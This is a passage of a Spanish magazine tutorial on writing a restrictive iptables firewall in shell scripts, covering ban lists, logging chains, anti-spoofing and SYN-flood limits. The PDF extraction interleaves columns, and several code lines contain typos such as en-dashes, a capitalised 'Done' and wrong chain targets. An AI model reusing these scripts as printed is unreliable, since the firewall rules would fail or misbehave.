$IPT –P INPUT DROP                                          /sbin/iptables a la variable $IPT, por tanto en
$IPT –P OUTPUT DROP                                         lo sucesivo podremos usar tanto iptables.... como
$IPT –P FORWARD DROP                                        $IPT...... , igual ocurre con las demás, simplemente
                                                            se sustituyen sus valores, véase cuando se usa --
# CREACION DE TABLAS DEFINIDAS POR EL                       dport $TCP, sería lo mismo que poner --dport 80,
USUARIO                                                     y así con todas...
$IPT –N BASURA
$IPT –N ENTRADA                                             La “segunda sección”, la del vaciado de cadenas,
$IPT –N SALIDA                                              inicialización, directiva predeterminada, ya la hemos

 PC PASO A PASO Nº 23                                                                                    Página 55
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




usado y comentado anteriormente, es lo mismo,                        Fíjate en la primera línea, hubiese sido lo mismo
excepto que se usa $IPT en lugar de iptables, es                     escribir esto:
más corto y si un día nos cambian la ubicación del
                                                                     /sbin/iptables –A ENTRADA -m --limit 5/second --limit-burst 10 –j BASURA
servicio, sólo tendremos que modificar una línea en
el código del cortafuegos
                                                                     pero sobre todo, entiende bien la última parte –j
La tercera sección, es la de la creación de cadenas                  BASURA, es decir, ni ACCEPT, ni DROP, ni REJECT,
de usuario, usaremos tres:                                           lo que haga o deje de hacer esta regla se lo damos
                                                                     a la cadena de usuario BASURA que definimos e
      ENTRADA en la que incluiremos reglas para                      inicializamos antes, si los paquetes cumplen la regla
   paquetes entrantes                                                se “pasa el control” a la cadena BASURA, que como
      SALIDA en la que incluiremos reglas para                       dijimos, registra en syslog el paquete y lo desecha.
   paquetes salientes
     BASURA: que incluiremos reglas para desechar                    Las reglas definidas para paquetes salientes no
   y registrar tanto paquetes entrantes como salientes.              revierten más misterio que el del uso de la cadena
                                                                     de usuario SALIDA y las variables apropiadas, no
Luego nos encontramos con esto                                       comentaré nada más..

# REGLAS DE REGISTRO PARA LOS PAQUETES DESECHADOS                    Al final, se asignan reglas para las cadenas
$IPT –A BASURA –j LOG --log-prefix “IPT Desechos: “ $registra_logs
                                                                     predefinidas, de alguna manera “relacionamos” que
$IPT –A BASURA –j DROP
                                                                     la cadena de usuario ENTRADA es para INPUT,
Para entender la regla completa, sustituye el valor                  que SALIDA es para OUTPUT y que BASURA es
$registra_logs en la regla....                                       tanto para INPUT como OUTPUT.

                                                                     Podríamos haber añadido esta otra regla a la cadena
Esta cadena por sí sola no hace nada, no lo hará
                                                                     SALIDA al final de la misma
hasta que otra la utilice, en ese momento registrará
en /var/log/messages los paquetes desechados
                                                                        $IPT –A SALIDA –p tcp –j BASURA
con un título que dice IPT Desechos más el contenido
del paquete desechado, y luego lo desecha de verdad.                 Nuestro registro de sucesos, sería bastante grande,
                                                                     puesto que se estarán registrando todos los paquetes
A esta regla y cadena, la pueden “llamar” tanto                      salientes que no cumplan... y serán muchos.... pero
cadenas estándar (INPUT, OUTPUT....) como cadenas                    bueno, tendremos un log de TODO lo que hacen
de usuario, en nuestro caso SALIDA o ENTRADA.                        nuestros clientes que NO ESTE explícitamente
                                                                     permitido.
Después nos encontramos con las reglas para
paquetes entrantes                                                   Ejercicio y práctica para desarrollar en los foros:


# REGLAS PARA PAQUETES ENTRANTES                                     Te propongo que implementes un cortafuegos que
$IPT –A ENTRADA $flood –j BASURA                                     siga estas reglas:
$IPT –A ENTRADA –m state --state INVALID –j DROP
$IPT –A ENTRADA –m state --state ESTABLISHED, RELATED –j ACCEPT           Será un cortafuegos implementado en un servidor
                                                                        web y cuya misión es sólo proteger al servidor
Básicamente es lo mismo que usamos en la práctica                       web, por tanto, no hay reenvío, no hay NAT (o si
segunda, con la técnica de flood.                                       lo hay lo realizará el router).


 Página 56                                                                                                     PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




    Sólo necesitaremos una tarjeta de red en el
  equipo firewall, que es la IP 172.28.0.200

    Rechazar el tráfico ICMP desde Internet informado
  con un mensaje host inalcanzable

    Rechazar todo el tráfico ICMP desde la red interna
  que provenga de las IP’s 172.28.13.1 a la
  172.28.13.254 que son equipos de una red de
  pruebas

    Debemos permitir el tráfico DNS que provenga
  de nuestro proveedor de Internet que es
  195.235.96.90 y 195.235.113.3, también al DNS
  interno que es la IP 172.28.0.50

    Permitir el tráfico telnet sólo al administrador
  de la red interna, cuya IP es 172.28.0.50

    Todas las máscaras de red internas son de una
  clase B pura, /16 o 255.255.0.0

   Rechazar todo lo que no sea tráfico por el puerto
  80 y no esté permitido por reglas anteriores

La idea de este pequeño ejercicio es que cada uno
desarrolle el script “a su manera”, no tienes por qué
mantener las mismas IP’s o redes, usa las tuyas
propias si lo deseas, luego postea en los foros tus
                                                            if[ ! –x $IPT]
resultados, ya sean positivos o negativos, entre
vosotros os ayudaréis si la cosa no te sale “a la           Comprueba si /sbin/iptables (que es el valor de
primera” y por supuesto, puedes incluir nuevas reglas       la variable $IPT) se puede ejecutar, mejor dicho,
si así lo requieres.                                        comprueba si NO se puede ejecutar (!) mostrando
                                                            el error y pidiendo que se revise la configuración.
Shell scripts
                                                            for tabla in filter nat mangle do....
Esto ya se abordó en números anteriores de la revista,
sólo te voy a poner unos ejemplos para que                  Se trata de una estructura repetitiva que toma como
comprendas bien lo que viene más adelante.                  valor filter nat o magle y se lo asigna a la variable
                                                            tabla por cada iteración del bucle, de ese modo nos
Script NOIPT                                                evitaremos repetir 9 veces el vaciado de tablas,
                                                            cadenas y contadores
Este código vacía las cadenas (todas) y establece
una directiva por defecto de ACCEPT a iptables,             Para ejecutarlo le cambiaremos el permiso +x al
salva la configuración y verifica que                       archivo y lo lanzamos mediante ./NOIPT, nos puede
IpTables se pueda ejecutar sin                              ser útil para resetear y dejar “limpio” cualquier otra
problemas.                                                  configuración anterior de IPTables.

 PC PASO A PASO Nº 23                                                                                    Página 57
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




Script IPBANNER                                               “no deseadas”, puedes incluir todas las que quieras, una
                                                              o mil... eso dependerá de las restricciones que quieras
Supongamos que deseamos negar el acceso de                    establecer.
entrada, salida o las dos, a determinadas
                                                              OPCIONREG es otra variable que usaremos para establecer
IP’s, estas las declaramos en variables y desde un
                                                              el umbral y ráfaga en los registros del sistema Syslog,
script las cargamos y añadimos a las reglas de
                                                              cada segundo con un límite de 10.
IPTables.
                                                              Se usan dos cadenas de usuario, IPBAN y
Además nos creamos dos cadenas de usuario, una                REGISTRAIPBAN, como la primera hace uso de la segunda,
para el registro y desecho de esas IP’s no permitidas         es preciso definir y establecer las reglas para
y otra que validará el tráfico de entrada o salida de         REGISTRAIPBAN antes que las de IPBAN
esas IP’s “prohibidas por el administrador”
                                                              REGISTRAIPBAN usa tres comandos iptables,

                                                                La creación de la cadena:

                                                                      $IPT -N REGISTRAIPBAN

                                                                Y las dos reglas que contiene:

                                                              $IPT-AREGISTRAIPBAN-jLOG--log-prefix"IPTDESECHO: "$OPCIONREG
                                                              $IPT -A REGISTRAIPBAN -j DROP

                                                              Una registra (LOG) con la frecuencia estimada en la
                                                              variable OPCIONESREG y la otra desecha el paquete
                                                              (DROP) y dará por concluida la inspección de cualquier
                                                              otra regla para la cadena.

                                                              IPBAN es otra cadena que utiliza la creación de la
                                                              misma –N y un bucle que lee el contenido de la
                                                              variable IPBANEADAS (la lista de IP’s que escribimos al
                                                              principio a excluir) y añade reglas a la cadena cuya IP
                                                              origen o IP destino sea cualquiera de la lista, (-s para el
                                                              origen y –d para el destino), la diana o acción a
                                                              ejecutar será la cadena REGISTRAIPBAN que
IMPORTANTE... este script aunque es ejecutable por sí         comentamos antes, es decir, hace un LOG y un DROP
mismo, sería parte de otro o le “faltan” más reglas... sólo   de ellas.
sirve como ejemplo de cómo cargar en las reglas un conjunto
de IP’s a las que no deseamos permitir el acceso y al menos   Observa lo importante que es el bucle, nos facilita la
debería incluir el script anterior el que llamamos ./NOIPT    inclusión de reglas, si quisiéramos “banear” 200 IP’s, sólo
                                                              tendríamos que incluirlas en la variable IPBANEADAS y no
En la variable IPBANEADAS escribiremos la lista de IP’s       repetir 200 veces el mismo comando para las IP’s origen
o redes completas separadas unas de otras por un espacio      y otras 200 para las IP’s destino.
en blanco, la lista que muestra el ejemplo, es eso.. un
simple ejemplo con IP’s puestas “sin ton ni son”, no siguen   Por último tenemos que explicar a IPTABLES dónde debe
ningún criterio concreto, simplemente se negará el tráfico    aplicar estas dos nuevas cadenas, si a INPUT, OUTPUT o
de aquello que venga o vaya a esas IP’s que se suponen        FORWARD, en nuestro caso a las dos primeras.



 Página 58                                                                                       PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




$IPT   -A   INPUT                 -j   IPBAN                     DESCRIPCIÓN, LA LICENCIA Y LOS ENLACES
$IPT   -A   INPUT                 -j   REGISTRAIPBAN
$IPT   -A   OUTPUT                -j   IPBAN                     Código parte 1
$IPT   -A   OUTPUT                -j   REGISTRAIPBAN
                                                                 #################################
Es MUY IMPORTANTE que entiendas bien el                          #######################
funcionamiento de este script, pues en este mecanismo de         # Cortafuegos IPTFW2-HxC
asignación de variables y utilización de cadenas de usuario      #
se basa el próximo ejemplo, por ello voy a hacer hincapié        #
sobre ello de nuevo, te pondré los pasos funcionales que         # Firewall para una máquina con una sola tarjeta de
describen el modo de operación del mismo:                        red
                                                                 # Reglas restrictivas de E/S, validación, IP’s baneadas
1. Se asignan el contenido a las variables IPT,                  y anti-flood
OPCIONESREG e IPBANEADAS                                         #
                                                                 #
2. Se crean reglas de registro y desecho para la tabla           # Derechos Reservados (c) Vic_Thor 2004 Foros
REGISTRAIPBAN, su cometido será registrar paquetes               HackxCrack
                                                                 #
(LOG)       y   posteriormente    desecharlos       (DROP)
                                                                 #         A c c e s o             a l         f o r o :
                                                                 http://www.hackxcrack.com/phpBB2/index.php
3. Se crean reglas para la cadena de usuario IPBAN,              #
en ellas se incluyen todas las IP’s que figuren el la variable   #    Descarga          directa        del      script:
IPBANEADAS y como acción se “llama” a la cadena                  http://www.forohxc.com/ (falta el resto del enlace)
REGISTRAIPBAN que se encargará de registrarlas,                  #
desecharlas y parar la inspección.                               # Software Libre, puedes modificarlo y/o distribuirlo
                                                                 bajo
                                                                 # los términos de la Licencia GNU publicada por:
4. Se explica a IPTables que las nuevas cadenas de
                                                                 #       Free Software Fundation, www.gnu.com
usuario definidas se han de aplicar como entrada
                                                                 #
(INPUT) y como salida (OUTPUT) por lo que cuando
                                                                 #################################
un paquete de datos quiera entrar o salir del cortafuegos        ##########################
y pertenezca a cualquier IP o red contenida en la variable
IPBANEADAS,          se   registrará    y   se   desechará.      Después viene la asignación de variables, veamos que
                                                                 significan cada una de ellas y cual es su cometido dentro
Con todo lo explicado hasta aquí y con la intención de           del script, los valores de estas variables son las que deberás
construirnos un cortafuegos “de verdad” voy a plantear lo        modificar para adaptar el Firewall a tu propia red
que hace, describir las cadenas y directivas, etc... luego
os pondré el código (sin comentarios internos) y un link         DEFINICIÓN DE VARIABLES
en el que lo podréis descargar para no tener que teclearlo,
                                                                 IPFW es la dirección IP del host donde reside el cortafuegos
en ese enlace si estarán comentadas las líneas.
                                                                 o el host al que protege

Este cortafuegos no es perfecto y no cubre todos los casos,
                                                                 IPADMIN es la dirección o direcciones IP que usará el
pero es una base... una base sobre la que trabajar y             administrador del Firewall para acceder a él SIN
adaptarlo a nuestra red o cortafuegos en particular, tampoco     RESTRICCIONES, pueden ser internas o externas, es
es que sea gran cosa,... siempre será mejor eso que              decir, IP’s de LAN o de WAN para acceder al host desde
empezar desde cero... y prepárate que esto va para               Internet, en el ejemplo son privadas, puedes añadir tu IP
largo.....                                                       pública para acceder sin traba alguna.



 PC PASO A PASO Nº 23                                                                                             Página 59
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




PINGSALIDA son las direcciones IP’s a las que les están         Esto garantiza la primera regla anti-spoofing de IP, de
permitidas enviar pings al exterior del cortafuegos, en el      nuestra red nunca debe salir tráfico cuyas IP’s origen
ejemplo son la del administrador y todas (0.0.0.0/0) es         no estén en el rango al que pertenece, en nuestro caso
decir, el host al que protege el cortafuegos podrá hacer        172.28.xxx.xxx y no deben entrar IP’s cuyas IP’s
ping a cualquier dirección IP ya sea interna o externa.         origen digan ser cualquiera de las excluidas, puesto
                                                                que son IP’s reservadas por la IANA o reflejadas en
                                                                el RFC 1918, lo que deberías de hacer es eliminar el rango
PINGENTRADA, Son las direcciones IP’s a las que
                                                                de red que uses de esa lista y añadir 172.28.0.0/16 que
responderá el cortafuegos mediante protocolo ICMP, en el
                                                                yo eliminé.
ejemplo son las del administrador y todas, para que el host
sólo responda a las que tú quieras, quita la IP 0.0.0.0/0       HOSTBAN, sigue el mismo principio que las IP’s baneadas,
e incluye las que así lo desees, si no incluyes ninguna “”,     de hecho es lo mismo, sólo que por ofrecer mayor
el host no responderá a pings de nadie, te recomiendo que       escalabilidad, podemos incluir aquí las IP’s que no deseamos
al menos responda a la IP del administrador, así podrás         a las que accedan, páginas de sexo, de hack, direcciones
comprobar si está vivo.                                         de cualquier tipo que la política de nuestra empresa
                                                                prohibiría a sus empleados, no son excluidas porque no
SSH, son las direcciones IP a las que podrá acceder el          pertenecen a la lista ofrecida por el RFC 1918 y no son
cortafuegos como tráfico SSH por el puerto 22, se le ha         baneadas porque no “nos hicieron nada malo”, sólo que
preasignado todas (0.0.0.0/0)                                   no nos da la real gana que se acceda a ellas. Por omisión
                                                                no hay host baneados.

WWW, serán la lista de IP’s a las que podrá acceder al
                                                                LOOPBACK, sin comentarios, la IP de bucle inverso...o
host y pasarán por el cortafuegos como tráfico web, puerto
                                                                toda la red 127.0.0.0/8
80, por omisión todas, así podremos navegar “sin
restricciones”.                                                 REDINTERNA, lo dicho, la red a la que pertenece el host,
                                                                en el caso que nos ocupa la 172.28.0.0/16
CONTROLSYN, es una variable que contiene el umbral y
frecuencia para detectar inundaciones SYN, síntomas de          Luego se reasignan las variables SSH, WWW con los
ataques por denegación de servicios, el valor por omisión       valores que ya tuviesen más la IP del administrador y las
es de 5 segundos con umbral de 10 como ya hemos                 de loopback, con esto nos aseguramos que el admin.
comentado anteriormente.                                        siempre tendrá acceso y que el propio host (127.0.0.1)
                                                                también y no nos auto-bloqueamos el acceso.
OPCIONREG, es una variable que controla la frecuencia
                                                                Código parte 2
con la que los paquetes de datos son registrados, es lo
mismo que el ejemplo anterior del script IPBANNER
                                                                IPFW=”172.28.0.200”
                                                                IPADMIN="172.28.0.200 172.28.0.50"
IPBAN, es la lista de Ip’s baneadas, la idea es que en esta
                                                                PINGSALIDA="$IPADMIN 0.0.0.0/0"
variable se incluyan las IP’s que hemos detectado como          PINGENTRADA="$IPADMIN 0.0.0.0/0"
sospechosas o que nos provocan “mal fario”, bien porque         SSH="0.0.0.0/0"
detectamos paquetes sospechosos que vinieron de esas            WWW="0.0.0.0/0"
IP’s o bien porque intentaron accesos prohibidos, por omisión   CONTROLSYN="-m limit --limit 5/second --limit-burst 10"
no hay IP’s baneadas.                                           OPCIONREG="--log-level=3 -m limit --limit 1/second --limit-burst 10"
                                                                IPBAN=""
IPEXCLUIDAS, esto es similar a IPBAN, la diferencia estriba     IPEXCLUIDAS="0.0.0.0/8 10.0.0.0/8 169.254.0.0/16
en que la lista que ofrece esta variable son IP’s que nunca     172.16.0.0/16 172.17.0.0/16 172.18.0.0/16 172.19.0.0/16
                                                                172.20.0.0/16 172.21.0.0/16
deberían salir de nuestra red o que nunca deberían entrar,
de esa lista se ha eliminado precisamente el rango de red
a la que pertenece nuestro cortafuegos, la 172.28.0.0/16.

  Página 60                                                                                             PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




172.22.0.0/16 172.23.0.0/16 172.24.0.0/16                   REGISTRADESECHO, para desechar los paquetes
172.25.0.0/16 172.26.0.0/16 172.27.0.0/16
172.29.0.0/16 172.30.0.0/16 172.31.0.0/16                   REGISTRAIPBAN, para registrar los accesos de IP’s
192.168.0.0/16 192.0.0.0/24 192.0.34.0/24                   baneadas de la lista que contenga la variable IPBAN
224.0.0.0/4 240.0.0.0/5 255.255.255.255"
HOSTBAN=""                                                  REISTRAIPEXCLUIDAS, para registrar los accesos de
LOOPBACK="127.0.0.1"                                        IP’s excluidas que contenga la variable IPEXCLUIDAS
REDINTERNA="172.28.0.0/16"
SSH="$IPADMIN $SSH $LOOPBACK"                               REGISTRAIPHOSTBAN, para registrar los accesos a la
WWW="$IPADMIN $WWW $LOOPBACK"                               lista de host prohibidos que tiene la variable IPHOSTBAN

Ahora eliminamos y vaciamos cadenas, definimos directivas   REGISTRAFLOOD, para registrar las inundaciones SYN
predeterminadas, etc. Es lo mismo que describimos para      y flooding tomando como variable de umbral y límite los
el script ./NOIPT, pero añadido a este nuevo script, no     contenidos de OPCIONESREG y CONTROLSYN
comento nada más de ello, ya está visto anteriormente.

COMPROBAR EL SERVICIO, VACIAR CADENAS Y                     Código parte 4
TABLAS
                                                            $IPT -N REGISTRADESECHO
Código parte 3                                              $IPT -A REGISTRADESECHO -j LOG --log-prefix "IPT
                                                            DESECHO: " $OPCIONREG
IPT="/sbin/iptables"                                        $IPT -A REGISTRADESECHO -j DROP
if [ ! -x $IPT ]                                            $IPT -N REGISTRAIPBAN
then                                                        $IPT -N REGISTRAIPEXCLUIDAS
  echo "Error: No se puede ejecutar $IPT , Revisa          $IPT -N REGISTRAIPHOSTBAN
la configuración"                                           $IPT -A REGISTRAIPBAN -p tcp --dport 137:139 -j DROP
  exit 1                                                    $IPT -A REGISTRAIPBAN -p udp --dport 137:139 -j DROP
fi                                                          $IPT -A REGISTRAIPBAN -p tcp --dport 445 -j DROP
$IPT -P INPUT DROP                                          $IPT -A REGISTRAIPBAN -j LOG --log-prefix "IPT
$IPT -P OUTPUT DROP                                         BANEADAS:    " $OPCIONREG
$IPT -P FORWARD DROP                                        $IPT -A REGISTRAIPBAN -j DROP
$IPT -F                                                     $IPT -A REGISTRAIPEXCLUIDAS -p tcp --dport 137:139 -
$IPT -X                                                     j DROP
 for tabla in filter nat mangle                             $IPT -A REGISTRAIPEXCLUIDAS -p udp --dport 137:139 -
 do                                                         j DROP
  $IPT -t $tabla -F                                         $IPT -A REGISTRAIPBAN -p tcp --dport 445 -j DROP
  $IPT -t $tabla -X                                         $IPT -A REGISTRAIPEXCLUIDAS -j LOG --log-prefix "IPT
  $IPT -t $tabla -Z                                         EXCLUIDAS:    " $OPCIONREG
 Done                                                       $IPT -A REGISTRAIPEXCLUIDAS -j DROP
                                                            $IPT -A REGISTRAIPHOSTBAN -j LOG --log-prefix "IPT
                                                            HOSTBANEADO: " $OPCIONREG
CREACIÓN DE LAS                  CADENAS          QUE       $IPT -A REGISTRAIPHOSTBAN -j DROP
                                                            $IPT -N REGISTRAFLOOD
REGISTRARÁN LOGS
                                                            $IPT -A REGISTRAFLOOD -j LOG --log-prefix "IPT FLOOD:
                                                             " $OPCIONREG
Aquí vamos a crearnos nuevas cadenas de usuario para
                                                            $IPT -A REGISTRAFLOOD -j DROP
que registren y desechen el tráfico indeseado, sigue los
mismos principios que estudiamos en el script ./IPBANNER
para la cadena REGSTRAIPBAN, sólo que aquí hay más,
estas son:


 PC PASO A PASO Nº 23                                                                                    Página 61
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




Antes de pasar a la siguiente parte del código, comentar        REGISTRAIPHOSTBAN
que en el anterior, se desechan por omisión pero SIN             $IPT -A HOSTBAN -s $iphostil -j
REGISTRAR, todo el tráfico cuyos puertos destino sean           REGISTRAIPHOSTBAN
137, 138, 139 y 445, esto es útil si disponemos de una          done
red mixta, con Windows y LiNUX, el tráfico SMB o NetBios        $IPT -N FLOODSYN
es “muy ruidoso” cada cierto tiempo los equipos Windows         $IPT -A FLOODSYN $CONTROLSYN -j RETURN
lanzan mensajes NetBios y como nuestro cortafuegos no           $IPT -A FLOODSYN -j REGISTRAFLOOD
lo dejará pasar, sino los desechamos, provocaran un
registro + el desecho por la directiva predeterminada,          CADENAS PARA EL CONTROL DE ENTRADA
vamos, que se nos llenará el registro de logs con entradas      DE PAQUETES
del tráfico NetBios... y recuerda... definido de este modo,
no habrá comunicación entre nuestro host y clientes             De Nuevo nos creamos otras cadenas de usuario, en esta
                                                                ocasión les tocara a las que serán las reglas de validación
Windows, no podremos usar Samba ni nada que afecte a
                                                                de entrada y salida de paquetes, empezamos por las de
esos puertos... pero... se trataba de un cortafuegos muy        entrada:
restrictivo, no?
                                                                Primero nos creamos la cadena ENTRADA con la opción
                                                                –N y su cometido principal es aceptar o enviar al registro
NUEVAS CADENAS PARA EL CONTROL DE
                                                                de desechos (cadena anteriormente explicada
IP’S Y ACCESO                                                   REGISTRADESECHO) los paquetes que deban traspasar o
                                                                no...
Ahora nos crearemos más cadenas de usuario para que
podamos añadir las reglas específicas para las Ip’s baneadas,   Concretamente rechaza explícitamente los paquetes
excluidas, host’s prohibidos e inundaciones SYN, a su vez       con cuyo estado sea inválido y también aquellos que
cada una de esas cadenas, hacen uso de las otras definidas      se detecten como inundaciones SYN, para ello utiliza
anteriormente, las que registran esas actividades, para         la opción del protocolo tcp --syn y la acción a ejecutar
ello usamos bucles y como dianas u opciones a ejecutar,         es precisamente la cadena FLOODSYN que acabamos de
las propias cadenas de registro que acabamos de ver.            ver, que a su vez, pasará el control a la cadena
                                                                REGISTRAFLOOD de más atrás. (líneas 2 y 3 del código
Esto es exactamente lo mismo que el ejemplo del script          que viene a continuación)
./IPBANNER, el mismo principio y la misma funcionalidad,
                                                                Acepta todos los paquetes que sean relacionados o
por eso decía que entendieras BIEN ese script anterior
                                                                establecidos de conexiones anteriores (línea 4)
o te costará mucho este nuevo:
                                                                La última línea envía al registro de desecho aquel
Código parte 5                                                  tráfico que entre en el cortafuegos con IP de origen la del
                                                                propio cortafuegos.
$IPT -N IPEXCLUIDAS
for ipmal in $IPEXCLUIDAS; do                                   Esto como estarás pensando, nunca debería de ocurrir,
 $IPT -A IPEXCLUIDAS -s $ipmal -j                               puesto que los paquetes entrantes nunca deben proceder
REGISTRAIPEXCLUIDAS                                             del propio host, si esto ocurriese es que “alguien” está
 $IPT -A IPEXCLUIDAS -d $ipmal -j                               intentando falsear su IP e intentar entrar “a escondidas”,
REGISTRAIPEXCLUIDAS                                             vamos otra de las reglas anti-spoofing, nunca se
done                                                            deben aceptar paquetes cuya IP de origen sea la
$IPT -N IPBAN                                                   nuestra.
for ipmal in $IPBAN; do
                                                                Código parte 6
 $IPT -A IPBAN -s $ipmal -j REGISTRAIPEXCLUIDAS
 $IPT -A IPBAN -d $ipmal -j REGISTRAIPEXCLUIDAS                 $IPT -N ENTRADA
done                                                            $IPT -A ENTRADA -m state --state INVALID -j REGISTRADESECHO
$IPT -N HOSTBAN                                                 $IPT -A ENTRADA -p tcp --syn -j FLOODSYN
for iphostil in $HOSTBAN; do                                    $IPT -A ENTRADA -m state --state ESTABLISHED,RELATED -j ACCEPT
 $IPT -A HOSTBAN -s $iphostil -j                                $IPT -A ENTRADA -s $IPFW -j REGISTRADESECHO


 Página 62                                                                                          PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




MAS REGLAS DE ENTRADA. TRAFICO TCP                                                 Como antes, en la primera línea creamos la nueva
                                                                                   cadena con la opción –N
Todavía continuamos añadiendo nuevas reglas de entrada,
pero ahora mediante bucles que leerán los contenidos                               En la segunda línea controlamos que todas aquellas
de las variables SSH, WWW e IPADMIN, recuerda que                                  IP’s que NO SEAN (!) LA PROPIA IP DEL FIREWALL,
estas variables deberían tener la lista de IP’s a las que les                      se lleven a la cadena que registra los desechos,
está permitido acceder al host o al cortafuegos mediante
tráfico SSH o web (puertos 22 y 80 de tcp) y que también                           Esta es otra de las “reglas de oro” anti-spoofing,
la lista de IP’s definidas como de administración no tendrán                       ningún paquete debe salir del Firewall que no tenga
ninguna restricción de entrada al host cortafuegos.                                como IP origen la del propio firewall.

Para asegurarnos, utilizamos siempre --dport y m state                             En la tercera línea, permitimos el tráfico que ya esté
--state NEW, de ese modo le estamos explicando a                                   establecido o relacionado, así nuestro firewall podrá
IPTables que acepte conexiones nuevas que vayan al                                 responder a las conexiones nuevas que le entraron
puerto destino que se indique tras --dport, pero no otras                          anteriormente y que ya fueron estudiadas en la cadena
ni por otros puertos ni con puertos origen aunque sean 22                          ENTRADA
ó 80.
                                                                                   Las líneas cuatro y siguientes establecen la lista de
Código parte 7
                                                                                   puertos permitidos por las que nos podremos comunicar
                                                                                   de salida, es decir, aquellas conexiones NUEVAS que
for ipsegura in $SSH; do
$IPT -A ENTRADA -p tcp -s $ipsegura --dport 22 -m state --state NEW -j ACCEPT      se originen en el host cortafuegos y que tengan como
done                                                                               puerto destino cualquiera de los que se mencionan,
for ipexterior in $WWW; do
 $IPT -A ENTRADA -p tcp -s $ipexterior --dport 80 -m state --state NEW -j ACCEPT   Yo he incluido algunos, 21, 22, 53, 80 y 443, puedes añadir
done                                                                               otros nuevos, bastará que copies cualquiera de esas reglas
for ipadmin in $IPADMIN; do                                                        y modifiques el puerto destino que le sigue al parámetro
 $IPT -A ENTRADA -p tcp -s $ipadmin -m state --state NEW -j ACCEPT                 –dport, de igual modo puedes quitar los que no te
Done                                                                               convengan, pero CUIDADO, no quites el 80, ni el 22,
                                                                                   puesto que estos se usan en las reglas de entrada, si lo
Date cuenta también de la diferencia en las reglas para el                         haces no podrás navegar, tampoco es recomendable
administrador (último bucle) , en ellas no se valida ningún                        eliminar la última línea, la que permite el tráfico UDP
puerto, es decir, la IP o listas de IP’s para la administración                    por el puerto 53, si lo haces puedes no tener comunicación
podrán traspasar el firewall de entrada por cualquier puerto,                      con el DNS de tu proveedor de Internet.
esto puede ser un agujero de seguridad, puesto que si
alguien falsea su IP por una de las de administración puede                        Para afinar aún más, podríamos haber asignado una IP de
tener acceso TOTAL,                                                                destino o IP’s de destino para el protocolo UDP, así nos
                                                                                   aseguraríamos que sólo usaremos las IP’s de los DNS que
mmm, como “reto” te propongo que en el foro publiques
                                                                                   nos suministra el proveedor de Internet y no otros... eso
“tus soluciones”, aunque IPTables puede controlar de
                                                                                   lo dejo para ti...
alguna manera que esto no ocurra, no te lo voy a decir,
no ahora... no en este artículo, pero sí que deberías aportar
                                                                                   Código parte 8
tus propias soluciones con todo lo que ya hemos visto en
                                                                                   $IPT -N SALIDA
este curso... revisa y recuerda                                                    $IPT -A SALIDA -s ! $IPFW -j REGISTRADESECHO
                                                                                   $IPT -A SALIDA -m state --state ESTABLISHED,RELATED -j ACCEPT
CADENAS Y REGLAS PARA LA SALIDA TCP y UDP                                          $IPT -A SALIDA -m state --state NEW -p tcp --dport 21 -j ACCEPT
                                                                                   $IPT -A SALIDA -m state --state NEW -p tcp --dport 22 -j ACCEPT
                                                                                   $IPT -A SALIDA -m state --state NEW -p tcp --dport 53 -j ACCEPT
Al igual que nos creamos cadenas de usuario de ENTRADA                             $IPT -A SALIDA -m state --state NEW -p tcp --dport 80 -j ACCEPT
nos vamos a crear otra para la SALIDA, es decir, una nueva                         $IPT -A SALIDA -m state --state NEW -p tcp --dport 443 -j ACCEPT
cadena SALIDA con sus reglas...                                                    $IPT -A SALIDA -m state --state NEW -p udp --dport 53 -j ACCEPT



 PC PASO A PASO Nº 23                                                                                                                 Página 63
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




REGLAS DE ENTRADA Y SALIDA PARA                                                 Código parte 9

TRÁFICO ICMP
                                                                                $IPT -N ENTRADA_ICMP
Ya hemos establecido las reglas para TCP y para UDP, tanto                      for ipicmpent in $PINGENTRADA; do
                                                                                $IPT -A ENTRADA_ICMP -p icmp --icmp-type echo-request -s $ipicmpent -d $IPFW -j ACCEPT
de entrada como de salida, ahora vamos con ICMP, los
                                                                                $IPT -A ENTRADA_ICMP -p icmp --icmp-type echo-reply -s $ipicmpent -d $IPFW -j ACCEPT
pings, pongs u otros mensajes.
                                                                                done
                                                                                $IPT -A ENTRADA_ICMP -p icmp --icmp-type destination-unreachable -j ACCEPT
Como antes añadiremos tanto reglas para la entrada y                            $IPT -A ENTRADA_ICMP -p icmp --icmp-type source-quench -j ACCEPT
para la salida, en esta ocasión te las pongo todas juntas.                      $IPT -A ENTRADA_ICMP -p icmp --icmp-type parameter-problem -j ACCEPT
                                                                                $IPT -A ENTRADA_ICMP -p icmp --icmp-type time-exceeded -j ACCEPT

Lo único que hay que reseñar es que las Ip’s que se                             $IPT -N SALIDA_ICMP
permiten como tráfico ICMP de entrada son las que contenga                      for ipicmpsal in $PINGSALIDA; do
                                                                                $IPT -A SALIDA_ICMP -p icmp --icmp-type echo-request -d $ipicmpsal -j ACCEPT
la variable PINGENTRADA y que se acepta cualquier tipo
                                                                                $IPT -A SALIDA_ICMP -p icmp --icmp-type echo-reply -d $ipicmpsal -j ACCEPT
de tráfico ICMP entrante                                                        $IPT -A ENTRADA_ICMP -p icmp --icmp-type echo-reply -s $ipicmpsal -d $IPFW -j ACCEPT

                                                                                done
Igual ocurre con los pongs... los echo-reply, sólo que para                     $IPT -A SALIDA_ICMP -p icmp --icmp-type destination-unreachable -j ACCEPT
la cadena SALIDA y con la lista de IP’s que contenga la                         $IPT -A SALIDA_ICMP -p icmp --icmp-type source-quench -j ACCEPT
